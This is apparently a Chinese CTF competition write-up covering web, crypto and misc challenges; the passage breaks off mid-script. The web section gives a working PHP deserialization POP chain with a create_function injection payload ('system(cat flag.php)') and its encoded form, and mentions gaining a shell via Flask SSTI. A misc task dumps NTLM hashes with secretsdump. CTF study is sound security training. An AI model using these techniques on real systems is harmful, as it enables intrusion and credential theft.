第八届浙江省大学生网络与信息安全竞赛决赛-wp

web

咋输不进去捏

源码中有个特殊情况

1
2
3
4
5
// 特殊情况:如果输入框值为123456789,强制骰子都为1
if (inputElement.value === "123456789") {
die1 = 1;
die2 = 1;
}

直接发包

审计大师

给了一个转成中文的源码

1
from flask import 网页框架 as 应用类,渲染模板文件 as 渲染模板,请求对象 as 请求,渲染模板字符串 as 渲染模板字符串;import 操作系统模块 as 操作系统,随机模块 as 随机;应用 = 应用类 (名称); 类 字符处理器:定义函数 初始化(自): 自。字符映射 = {' 单引号 ': "'", ' 双引号 ': '"', ' 反引号 ': '`'} 定义函数 转换字符 (自,数据流): 返回 数据流 如果 类型判断 (数据流) != 字符串类型 否则 ''. 拼接字符 ([单个字符 循环 单个字符 存在于 数据流 如果 单个字符 不 存在于 自。字符映射。取值集合 ()]) 定义函数 执行清理 (自,输入序列): 返回 自。转换字符 (输入序列); 处理器实例 = 字符处理器 (); 定义函数 生成模板包装器 (内容数据): 返回 "<html><body><h1>审计查询结果</h1><p>解析内容:"+ 字符串转换 (内容数据) +"</p><p><a href='/'>返回首页</a></p></body></html>"; 应用。添加 ('/', ' 入口点 ', 匿名函数:渲染模板 (' index.html')); 应用。添加 ('/审计 ', ' 数据处理器 ', 匿名函数:渲染模板字符串 (生成模板包装器 (处理器实例。执行清理 (请求。参数集合。获取 (' 查询参数 ', ' 默认查询内容 '))))); 如果 主程序 == '主程序': 应用。运行应用 (主机地址 ='0.0.0.0', 端口号 = 80, 调试模式 = 真)

根据提示 审计的英文是什么? 访问/audit

爆破参数得到 query

代码审计,ssti,fenjing获取shell


rce后拿到的正确的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, render_template, request, render_template_string
import os

app = Flask(__name__)


def filter_quotes(input_str):
return input_str.replace("'", "").replace('"', "").replace("`", "")


@app.route('/')
def index():
return render_template('index.html')

@app.route('/audit')
def audit():
user_input = request.args.get('query', '默认查询')
filtered_input = filter_quotes(user_input)
template = f"""
<html>
<body>
<h1>审计查询结果</h1>
<p>解析内容:{filtered_input}</p>
<p><a href="/">返回首页</a></p>
</body>
</html>
"""
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=True)

superpop

超长源码,不过不如强网杯十六万行的pop_master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
<?php
highlight_file(__FILE__);
error_reporting(0);

class pQ5mW8nL {
public $mG6rL9fK;
public $vX3cF6yR;
public $hJ9kN2tM;
public $lG7dS4vB;
public $qF2mP8nR;
public $tK5wL9cJ;
public $nY4vG7pM;
public $sR6fQ3mK;
public $jL8cN2vP;
public $gM5tR9qW;
public $fH4pL6nY;
public $uX7cG3rK;
public $dV2mT8qL;
public $wP9nF4vR;
public $kQ6cL5mN;

public function wT8mF4qN($command, $output) {
if (is_string($command) && strlen($command) > 0) {
return $this->mG6rL9fK->zQ4mN8rL($command);
}
return false;
}

public function __unset($name) {
if (property_exists($this, $name)) {
unset($this->$name);
}
}

public function mL7fQ2nK($input) {
if (strpos($input, 'flag') !== false) {
return 'denied';
}
return hash('md5', $input . 'secret_' . time());
}
}

class bT4yH7uI {
public $kF9mR3qL;
public $kL9pN5xM;
public $wS6vC3qJ;
public $mR8fG2dN;
public $zQ7nY4tK;
public $pF3wL6mR;
public $sH9cK4vN;
public $jM2tQ8pL;
public $gR5nF7wK;
public $lV4cT9mQ;
public $qN6pG3rY;
public $uX8fM2vL;
public $hK5wR7nP;
public $dT3mL9qF;
public $cP6vN4gR;

public function fM6nQ3rL($code, $data) {
return $this->kF9mR3qL->wT8mF4qN($code, $data);
}

public function rK8mT5nQ($param1, $param2 = null) {
$result = 0;
if (is_numeric($param1)) {
for ($i = 1; $i <= $param1; $i++) {
$result += $i * 4;
}
}
return $result + (int)$param2;
}

public function __clone() {
$this->kL9pN5xM = 'cloned_' . uniqid();
}
}

class xF9mQ2vL {
public $aY5nU0gJ;
public $vK1rE8pZ;
public $hL4nQ9mP;
public $sL6fG9rK;
public $hJ3vN8mQ;
public $cR5pT2wL;
public $nK8dF4vY;
public $qM6cL9rT;
public $gP3nH7fM;
public $jW5vK2qL;
public $lT8mR4nP;
public $fQ7cG3vK;
public $uN9pL6mR;
public $vY4fT8qN;
public $rH2wG5pL;

public function mQ8fL3nR($param1, $param2) {
if ($this->aY5nU0gJ && $this->vK1rE8pZ) {
return $this->hL4nQ9mP->fM6nQ3rL($this->aY5nU0gJ, $this->vK1rE8pZ);
}
return false;
}

public function __invoke() {
return 'xF9mQ2vL_invoked_' . microtime(true);
}

public function __get($name) {
if ($name === 'secret_value') {
return base64_encode('fake_secret');
}
return null;
}

public function __set($name, $value) {
if (in_array($name, array('aY5nU0gJ', 'vK1rE8pZ'))) {
$this->$name = $value;
}
}
}

class kY6rM3eL {
public $wH4mK9pL;
public $sT6vR3qN;
public $jL8fY2mK;
public $nM8xP5qW;
public $tQ3vL6jK;
public $rF7cN2mP;
public $gP5nQ7wE;
public $cM9vT4xR;
public $lF3dG6pN;
public $qY7mH5kJ;
public $vN2rP8wL;
public $fK6cT3mQ;
public $hR9pL4vY;
public $dG8nM6fT;
public $uX2wQ5pR;

public function rN7mK4qL() {
$this->wH4mK9pL->mQ8fL3nR($this->sT6vR3qN, $this->jL8fY2mK);
return 'kY6rM3eL_method';
}

public function fQ8mP3nL($code, $callback) {
if (is_string($code) && is_string($callback)) {
$func = create_function('', $code . '; return ' . $callback . ';');
return $func();
}
return false;
}

public function gT5nM9rK() {
$data = json_encode(array(
'timestamp' => time(),
'random' => rand(10000, 99999),
'hash' => sha1(uniqid())
));
return base64_encode($data);
}

public function __toString() {
return $this->nM8xP5qW ?: 'kY6rM3eL_obj';
}

public function __set($name, $value) {
if ($name === 'tQ3vL6jK') {
$this->rF7cN2mP = $value;
}
}
}

class wJ4qV3jM {
public $pL8vN4mR;
public $zX3cB7wQ;
public $fH9nY1dS;
public $rT6mQ3xK;
public $vL4nP9wE;
public $jK7cF2gH;
public $nY5vR8mL;
public $dG6pT4qN;
public $sM3wK9fR;
public $hQ7nB5xJ;
public $lF2vG6mP;
public $tY8dQ4rK;
public $cN9pL3vM;
public $qW6fT7nR;
public $uX5mH8pL;

public function __toString() {
return $this->pL8vN4mR->zX3aB7wQ;
}

public function mK9fL2nQ($param) {
if ($this->pL8vN4mR instanceof kY6rM3eL) {
return $this->pL8vN4mR->fQ8mP3nL($param, $this->zX3cB7wQ);
}
}

public function pR6nF4mL() {
$temp = array();
for ($i = 0; $i < 8; $i++) {
$temp[] = md5(rand());
}
return implode('', $temp);
}

public function __wakeup() {
$this->fH9nY1dS = 'wakeup_triggered';
}

public function __get($name) {
if ($name === 'zX3aB7wQ' && $this->rT6mQ3xK) {
return $this->rT6mQ3xK->rN7mK4qL();
}
return null;
}
}

class oC4tF3aU {
public $hD6yV6eY;
public $aY5nU0gJ;
public $vK1rE8pZ;
public $iE7jU6pY;
public $tY7eG5oV;
public $mN8qR4xT;
public $pL9wE5nK;
public $fG3cV7yM;
public $jH6dB2rQ;
public $sT1vN9pL;
public $kY4mF8xR;
public $nW7cG5qJ;
public $lP2vB6dM;
public $qX9fR3tY;
public $uE5nK7wL;

public function __debugInfo() {
return array('status' => 'debugging', 'level' => 3);
}

public function __destruct() {
$this->hD6yV6eY->aY5nU0gJ = $this->aY5nU0gJ;
$this->hD6yV6eY->vK1rE8pZ = $this->vK1rE8pZ;
echo $this->hD6yV6eY;
}

public function qW9rT2xK($param) {
$temp = array();
for ($i = 0; $i < 10; $i++) {
$temp[] = md5(rand());
}
return implode('', $temp);
}

public function __wakeup() {
$this->fG3cV7yM = 'wakeup_called';
}
}

class aP9wE5rA {
public $mK7xL3vN;
public $qJ6yU4nM;
public $zC8fB2dG;
public $hR5pW9tY;

public function __construct() {
$this->mK7xL3vN = array('init' => true, 'type' => 'constructor');
$this->qJ6yU4nM = rand(100, 999);
}

public function sD3vN8mL($input) {
if ($input === 'secret_key_12345') {
file_get_contents('/etc/passwd');
}
return hash('sha256', $input . $this->qJ6yU4nM);
}

public function __invoke() {
echo "aP9wE5rT invoked";
}

public function gF4mQ7xP() {
$temp = array();
for ($i = 0; $i < 5; $i++) {
$temp[] = chr(rand(65, 90));
}
return implode('', $temp);
}
}

class xV2aM8qL {
private $jK9rF5tW;
protected $lP6sG4mN;
public $cH3vB7yR;
public $uQ8zX1dF;

public function __sleep() {
return array('cH3vB7yR', 'uQ8zX1dF');
}

public function nY5tR8vM($data) {
$processed = array();
if (is_array($data)) {
foreach ($data as $key => $value) {
$processed[md5($key)] = base64_encode(serialize($value));
}
}
return $processed;
}

public function __get($name) {
if ($name === 'secret_property') {
return 'you_found_nothing';
}
return null;
}

public function qW3eR6tY() {
$this->jK9rF5tW = time();
$this->lP6sG4mN = uniqid();
return $this->jK9rF5tW + strlen($this->lP6sG4mN);
}
}

class bT4yO7uI {
public $kL9pN5xM;
public $wS6vC3qJ;
public $mR8fG2dN;
public $zQ7nY4tK;

public function __isset($name) {
return in_array($name, array('kL9pN5xM', 'wS6vC3qJ', 'mR8fG2dN'));
}

public function eF6wQ9rT($param1, $param2 = null) {
$result = 0;
if (is_numeric($param1)) {
for ($i = 1; $i <= $param1; $i++) {
$result += $i * 2;
}
}
return $result + (int)$param2;
}

public function __call($method, $args) {
if (method_exists($this, 'internal_' . $method)) {
return call_user_func_array(array($this, 'internal_' . $method), $args);
}
return false;
}

private function internal_process($data) {
return str_rot13(base64_encode($data));
}
}

class pQ5mJ8nL {
public $vX3cF6yR;
public $hJ9kN2tM;
public $lG7dS4vB;

public function __unset($name) {
if (isset($this->$name)) {
unset($this->$name);
}
}

public function rT8xP5qW($input) {
if (strpos($input, 'flag') !== false) {
return 'access_denied';
}
return hash('md5', $input . 'salt_' . time());
}

public function yU4nE7mK() {
$config = array(
'version' => '1.0.0',
'author' => 'unknown',
'debug' => false,
'encryption' => 'aes256'
);
return json_encode($config);
}
}

class nF9vV6aL {
public $dK3mQ8xP;
public $tW7cN4yJ;
public $jL5fG9rM;
public $qB2vH6dS;

public function __clone() {
$this->dK3mQ8xP = clone $this->dK3mQ8xP;
$this->tW7cN4yJ = 'cloned_' . time();
}

public function sM3nQ7wE($mode = 'default') {
switch ($mode) {
case 'encrypt':
return base64_encode($this->jL5fG9rM);
case 'decrypt':
return base64_decode($this->qB2vH6dS);
default:
return 'default_mode_active';
}
}

public function xR8vN4mL() {
$sum = 0;
for ($i = 1; $i <= 100; $i++) {
$sum += pow($i, 2) - $i;
}
return $sum % 12345;
}
}

class gH4qV9nM {
protected $lE6wR3xK;
private $yT8fP5sJ;
public $mQ7cN2vL;
public $dF9kB4gR;

public function __set($name, $value) {
if ($name === 'secret' && $value === 'admin123') {
$this->yT8fP5sJ = 'access_granted_fake';
}
}

public function vK5nM8qW($depth = 0) {
if ($depth > 10) {
return 'max_depth_reached';
}
return $this->vK5nM8qW($depth + 1);
}

public function __debugInfo() {
return array(
'class' => __CLASS__,
'public_properties' => 2,
'private_properties' => 1,
'protected_properties' => 1
);
}
}

class cL7mT4nR {
public $wP8xQ5jK;
public $sD6vL9fM;
public $hN3yG2tB;

public function __wakeup() {
$this->wP8xQ5jK = 'wakeup_' . date('Y-m-d H:i:s');
}

public function fR9mN6qL($filename) {
if ($filename === '/flag.txt') {
return 'permission_denied';
}
return 'file_not_found';
}

public function kY4tR7xM() {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$token = '';
for ($i = 0; $i < 32; $i++) {
$token .= $chars[rand(0, strlen($chars) - 1)];
}
return $token;
}
}

class uM2sF8vN {
public $qJ5wE3rY;
public $tK9nP6lG;
public $xC4mH7dQ;
public $vL8fR2jK;

public function __toString() {
return 'uM2sF8vN_object_' . spl_object_hash($this);
}

public function nW6qR9tM($operation, $data) {
switch ($operation) {
case 'select':
return array('id' => 1, 'name' => 'test', 'data' => $data);
case 'insert':
return 'insert_success_fake';
case 'update':
return 'update_success_fake';
default:
return 'unknown_operation';
}
}

public function gT3vN7mK() {
$rules = array(
'length' => rand(8, 16),
'complexity' => true,
'special_chars' => false
);
return $rules;
}
}

class jP4nQ8wL {
public $fY7mK3xR;
public $lV9cB5dN;
public $hQ6tG2sM;

public function __invoke() {
return 'jP4nQ8wL_invoked_' . microtime(true);
}

public function mE5rT9vL($level = 1) {
if ($level > 5) {
return 'max_level_reached';
}
return array(
'level' => $level,
'next' => $this->mE5rT9vL($level + 1)
);
}

public function __sleep() {
return array('fY7mK3xR', 'lV9cB5dN');
}
}

class rK8xN4mQ {
private $zA3vF6wR;
protected $tL9nY5jM;
public $pG7cB2dK;
public $sH4mQ8xN;

public function __get($name) {
if ($name === 'hidden_data') {
return base64_encode('secret_but_useless');
}
return null;
}

public function vF3mT7qL($algorithm = 'sha1') {
$data = $this->pG7cB2dK . time();
switch ($algorithm) {
case 'md5':
return md5($data);
case 'sha256':
return hash('sha256', $data);
default:
return sha1($data);
}
}

public function __isset($name) {
return property_exists($this, $name);
}
}

class nF9rV6sL {
public $yR3fM8qL;
public $tW7cN4yJ;
public $jL5fG9rM;
public $qB2vH6dS;
public $mR8pL3nK;
public $fT5wG9cQ;
public $hY6mN2vL;
public $sK4rP7fM;
public $lQ9cT3wN;
public $gF2mH8pL;
public $vN6rK4qY;
public $uP3fG7mR;
public $cL5nT9wK;
public $jM8vR2qP;
public $dK6fL3mN;

public function zQ4mN8rL($cmd) {
if (is_string($cmd)) {
$f1 = create_function('$a',$cmd);
}
return false;
}

public function __clone() {
$this->tW7cN4yJ = 'cloned_' . time();
}

public function gH7mF2qL($mode = 'default') {
switch ($mode) {
case 'encrypt':
return base64_encode($this->jL5fG9rM);
case 'decrypt':
return base64_decode($this->qB2vH6dS);
default:
return 'default_active';
}
}
}

class yQ5vM9nL {
public $kR8fG3tY;
public $jW6nP4xM;
public $lD7sC2vN;
public $hF9mQ5kR;

public function __construct($config = array()) {
foreach ($config as $key => $value) {
if (property_exists($this, $key)) {
$this->$key = $value;
}
}
}

public function nT4wQ8rM($query, $params = array()) {
$safe_query = str_replace(array(';', '--', '/*', '*/'), '', $query);
return array(
'query' => $safe_query,
'params' => $params,
'status' => 'simulation_only'
);
}

public function xP6mL9vK() {
return array(
'timeout' => rand(30, 120),
'retries' => rand(1, 5),
'buffer_size' => rand(1024, 8192)
);
}
}

class dW3mR7qN {
public $tJ8fK5vL;
public $pY4nG9xM;
public $cQ6wR3sT;

public function __call($method, $args) {
if (strpos($method, 'get_') === 0) {
$property = substr($method, 4);
return isset($this->$property) ? $this->$property : 'property_not_found';
}
return 'method_not_found';
}

public function vM5nQ8rL($input) {
if (is_string($input) && strlen($input) > 0) {
return preg_replace('/[^a-zA-Z0-9]/', '', $input);
}
return false;
}

public function __clone() {
$this->tJ8fK5vL = 'cloned_' . uniqid();
}
}

class fL9pM4nQ {
public $wK6tR8vY;
public $sJ3mN7fL;
public $gD5xP2cM;
public $hQ9vB4rK;

public function __destruct() {
if (isset($this->wK6tR8vY) && is_string($this->wK6tR8vY)) {
$safe_log = 'Destruction of ' . __CLASS__ . ' at ' . date('Y-m-d H:i:s');
}
}

public function mT7nQ3wR($data) {
if (is_array($data)) {
return array_map('strtoupper', $data);
} elseif (is_string($data)) {
return strtoupper($data);
}
return $data;
}

public function __wakeup() {
$this->gD5xP2cM = 'object_awakened';
}
}

class eV8nM2qL {
public $rT5wF9kJ;
public $lP3mG6vN;
public $yH8cQ4xR;

public function nK7fR9mT($complexity = 'medium') {
$operations = array();
$count = ($complexity === 'high') ? 1000 : 100;
for ($i = 0; $i < $count; $i++) {
$operations[] = md5($i . time());
}
return count($operations);
}

public function __toString() {
return json_encode(array(
'class' => __CLASS__,
'properties' => get_object_vars($this)
));
}
}

class qM4vL8nR {
public $xF6pK9tY;
public $jW2cN5mL;
public $dG7rQ3vM;
public $hL9fT4xN;

public function sP5nW8qM($mode, $data) {
switch ($mode) {
case 'compress':
return gzcompress($data);
case 'decompress':
return gzuncompress($data);
case 'encode':
return base64_encode($data);
case 'decode':
return base64_decode($data);
default:
return $data;
}
}

public function __set($name, $value) {
if (in_array($name, array('xF6pK9tY', 'jW2cN5mL'))) {
$this->$name = $value;
}
}
}

if (isset($_POST['awa'])){
unserialize(base64_decode($_POST['awa']));
}

手动搜下关键字,发现有两个create_function,其中fQ8mP3nL无法利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class kY6rM3eL {
public function fQ8mP3nL($code, $callback) {
if (is_string($code) && is_string($callback)) {
$func = create_function('', $code . '; return ' . $callback . ';');
return $func();
}
return false;
}
}

class nF9rV6sL {
public function zQ4mN8rL($cmd) {
if (is_string($cmd)) {
$f1 = create_function('$a',$cmd);
}
return false;
}
}

虽然代码很长,但是函数调用都是一一对应的,并不存在多对一,根据zQ4mN8rL逐级递推即可

最后利用create_function代码注入实现rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$a = new oC4tF3aU();
$a->hD6yV6eY = new wJ4qV3jM();
$a->hD6yV6eY->pL8vN4mR = new wJ4qV3jM();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK = new kY6rM3eL();
$a->pL8vN4mR->rT6mQ3xK->sT6vR3qN='a';
$a->pL8vN4mR->rT6mQ3xK->jL8fY2mK='b';
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL = new xF9mQ2vL();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->aY5nU0gJ=";}system('cat flag.php');/*";
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->vK1rE8pZ='c';
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP = new bT4yH7uI();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP->kF9mR3qL = new pQ5mW8nL();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP->kF9mR3qL->mG6rL9fK = new nF9rV6sL();

echo base64_encode(serialize($a));

# Tzo4OiJvQzR0RjNhVSI6NTp7czo4OiJoRDZ5VjZlWSI7Tzo4OiJ3SjRxVjNqTSI6NDp7czo4OiJwTDh2TjRtUiI7Tzo4OiJ3SjRxVjNqTSI6NDp7czo4OiJwTDh2TjRtUiI7TjtzOjg6InpYM2NCN3dRIjtOO3M6ODoiZkg5blkxZFMiO047czo4OiJyVDZtUTN4SyI7Tzo4OiJrWTZyTTNlTCI6NTp7czo4OiJ3SDRtSzlwTCI7Tzo4OiJ4RjltUTJ2TCI6Mzp7czo4OiJhWTVuVTBnSiI7czoyNzoiO31zeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOy8qIjtzOjg6InZLMXJFOHBaIjtzOjE6ImMiO3M6ODoiaEw0blE5bVAiO086ODoiYlQ0eUg3dUkiOjI6e3M6ODoia0Y5bVIzcUwiO086ODoicFE1bVc4bkwiOjE6e3M6ODoibUc2ckw5ZksiO086ODoibkY5clY2c0wiOjM6e3M6ODoidFc3Y040eUoiO047czo4OiJqTDVmRzlyTSI7TjtzOjg6InFCMnZINmRTIjtOO319czo4OiJrTDlwTjV4TSI7Tjt9fXM6ODoic1Q2dlIzcU4iO047czo4OiJqTDhmWTJtSyI7TjtzOjg6Im5NOHhQNXFXIjtOO3M6ODoickY3Y04ybVAiO047fX1zOjg6InpYM2NCN3dRIjtOO3M6ODoiZkg5blkxZFMiO047czo4OiJyVDZtUTN4SyI7Tjt9czo4OiJhWTVuVTBnSiI7TjtzOjg6InZLMXJFOHBaIjtOO3M6ODoiZkczY1Y3eU0iO047czo4OiJwTDh2TjRtUiI7Tzo4OiJzdGRDbGFzcyI6MTp7czo4OiJyVDZtUTN4SyI7Tzo4OiJzdGRDbGFzcyI6Mjp7czo4OiJzVDZ2UjNxTiI7czoxOiJhIjtzOjg6ImpMOGZZMm1LIjtzOjE6ImIiO319fQ==

crypto

AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib

def encrypt_aes_cbc(plaintext, password, iv):
key = hashlib.md5(password.encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv.encode())
ciphertext = cipher.encrypt(pad(plaintext.encode('utf-8'), AES.block_size))
return base64.b64encode(ciphertext).decode('utf-8')

plaintext = "DASCTF{**********}"
password = "Cryptography"
iv = "0123456789abcdef"

ciphertext = encrypt_aes_cbc(plaintext, password, iv)
print(f"密文: {ciphertext}")

# output 密文: H4vkfGfsU+qBEwaa7ea9gBkRcraMqbe4BGaxDb/9JG4zGleqT1VxyzGbDj/yuQn8

AES,写个解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

def decrypt_aes_cbc(ciphertext, password, iv):
key = hashlib.md5(password.encode()).digest()[:16]
encrypted_data = base64.b64decode(ciphertext)
cipher = AES.new(key, AES.MODE_CBC, iv.encode())
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

return decrypted_data.decode('utf-8')

ciphertext = "H4vkfGfsU+qBEwaa7ea9gBkRcraMqbe4BGaxDb/9JG4zGleqT1VxyzGbDj/yuQn8"
pasword = "Cryptography"
iv = "0123456789abcdef"

print(decrypt_aes_cbc(ciphertext, pasword, iv))


# DASCTF{A3S_CBC_M0d3_1s_1nt3r3st1ng}

base64

简单数学题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *

sum_pq = 15870713655456272818998868095126610389501417235762009793315127525027164306871912572802442396878309282140184445917718237547340279497682840149930939938364752
diff_pq = 836877201325346306269647062252443025692393860257609240213263622058769344319275021861627524327674665653956022396760961371531780934904914806513684926008590
e = 65537
c = 24161337439375469726924397660125738582989340535865292626109110404205047138648291988394300469831314677804449487707306159537988907383165388647811395995713768215918986950780552907040433887058197369446944754008620731946047814491450890197003594397567524722975778515304899628035385825818809556412246258855782770070

# 通过 sum_pq 和 diff_pq 解出 p 和 q
# p + q = sum_pq
# p - q = diff_pq
# 所以 p = (sum_pq + diff_pq) / 2, q = (sum_pq - diff_pq) / 2
p = (sum_pq + diff_pq) // 2
q = (sum_pq - diff_pq) // 2

n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(long_to_bytes(m))


# b'DASCTF{ok_1+1_1s_ez_so_try2goldbachs}'

brainRSA

coppersmith

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import long_to_bytes

n = 5896603616629976388681343986666930963006582028163928714145532756203237227730274711487003166019427105897965945120232260215410992579837484059292611073419586380525003988344574914431029827063806077732189986757809721088722985286036959879820708133146403409430195581622055470667222891220979774304289695570081825139756219411812254290165809196979501734849253222466549260913814647528326035080523330064602920600175311072318677328858357572118378221037611447468353988765857728693723209366913388728379914720462400719453373674212484217
e = 65537
c = 4221793406745090448159839492516441941495929321499567123472000442699162146372220161860225184236927618558037325910707307459975466187269605134233560519157016842737834824730633694720444565009425747524144994992594172304437752960220406217437575205487944977177237131899857115110278358933279454006801350405232784421011170963118967018535823980784090051685902395650907846245302374549113152846903151411198578675291462184512223571295652757739539096560166939391938607962013244587459259461981764347874215325536867806205636381420076263

h1 = 86682368885754481246073975629273374009118678612781484142142233010648189936701991035424570227832428961089155099087480306450429844896945882196738935354601757929219259054136973233403527177389212490240890908590489235856630191642125591379880282065718229563065862910111151238228617993062409710807546317753676418582796716091984804706084632849079312032895792218093262044435
h2 = 507302396516541130096005191243501282527086130677192353031178107965055262527263846570902262566241833462389458229472609073835612242905629592637875830766904


PR = PolynomialRing(Zmod(n), 'x')
x = PR.gen()

f = x^3 - h1 * x^2 + x

roots = f.small_roots(X=2^512, beta=0.4, epsilon=0.01)
p = int(roots[1])
print(p)

d = inverse_mod(e, p - 1)
print(d)

m = pow(c, d, p)
plaintext = long_to_bytes(int(m))
print(plaintext)

'''
9876510850216396128111837521990489680287274199334124475256197771209717813477924581235826074232875006677383292406911411650885518366547676018879357956503277
2540070347748559695123747218108087089144178199029199811258422165093608095368576816404929253417079027687371948571318367385990744343930315383649107807145013
b'flag{V#@Ry_@ASSy_Pr013L@m-for_RsA!}'
'''

misc

easySteg0

图片属性中的备注有一个表

1
table: FI0EHKRkclAYN/xvgim2XCUdSf8O6osJVPb+LZu5nyQjqGt49BDwhrz3pWTaeM17

图片文件尾有一个rar,分离出来解压得到 DASCTF{noflaghere_ntfs}

根据提示使用ntfsstream或者7-Zip,得到data

base64换表

Simple_Domain

secretsdump读取hash

1
python secretsdump.py -ntds ntds -system system LOCAL

根据flag.zip中的注释密码长32且与Administrator有关。找到admin的hashAdministrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::

解压得到flag:DASCTF{dbd13e1c4e338284ac4e9874f7de6ef9}

Really Good Binaural Audio

提取wav的基本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import wave

wav_path = "flag.wav"


with wave.open(wav_path, 'rb') as wf:
n_channels = wf.getnchannels()
sampwidth_bytes = wf.getsampwidth()
bits_per_sample = sampwidth_bytes * 8
framerate = wf.getframerate()
n_frames = wf.getnframes()
duration = n_frames / framerate if framerate else 0

print("通道数:", n_channels)
print("每个采样的字节数:", sampwidth_bytes)
print("每个采样的位数:", bits_per_sample)
print("采样率:", framerate)
print("总帧数:", n_frames)
print("时长(秒):", duration)

'''
通道数: 2
每个采样的字节数: 2
每个采样的位数: 16
采样率: 22050
总帧数: 3884905
时长(秒): 176.18616780045352
'''

根据题目名字首字母拼接猜测是提取采样点数据转RGBA模式的图片

这个wav有两个通道,并且是16-bit,而 Left 16 位 + Right 16 位 = 32 bit = 4 个字节,表示每个采样点有4个字节的数据,刚好映射到RGBA

方法一:

暴力解法,直接假设每个采样点对应一个像素的RGBA

一共3884905帧,对3884905进行因式分解,得到5*761*1021,猜测宽高为 3805x1021 或者 761*5105

1
2
3
4
5
6
7
8
9
10
11
import wave, numpy as np
from PIL import Image

with wave.open("flag.wav", "rb") as w:
frames = w.readframes(w.getnframes())
n = w.getnframes()

print(n)

img = Image.frombytes("RGBA", (5105, n//5105), frames)
img.save("decoded.png")

但是这种解法解出的图像可能会被拉伸变形且通道可能有问题(如果上面的假设错误)

方法二:

观察详细的对应关系(频谱图中也可以看到左声道是RG,右声道是BA)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from scipy.io import wavfile

sr, data = wavfile.read("flag.wav")

for i in range(0, 50):
left, right = data[i]
L = int(left)
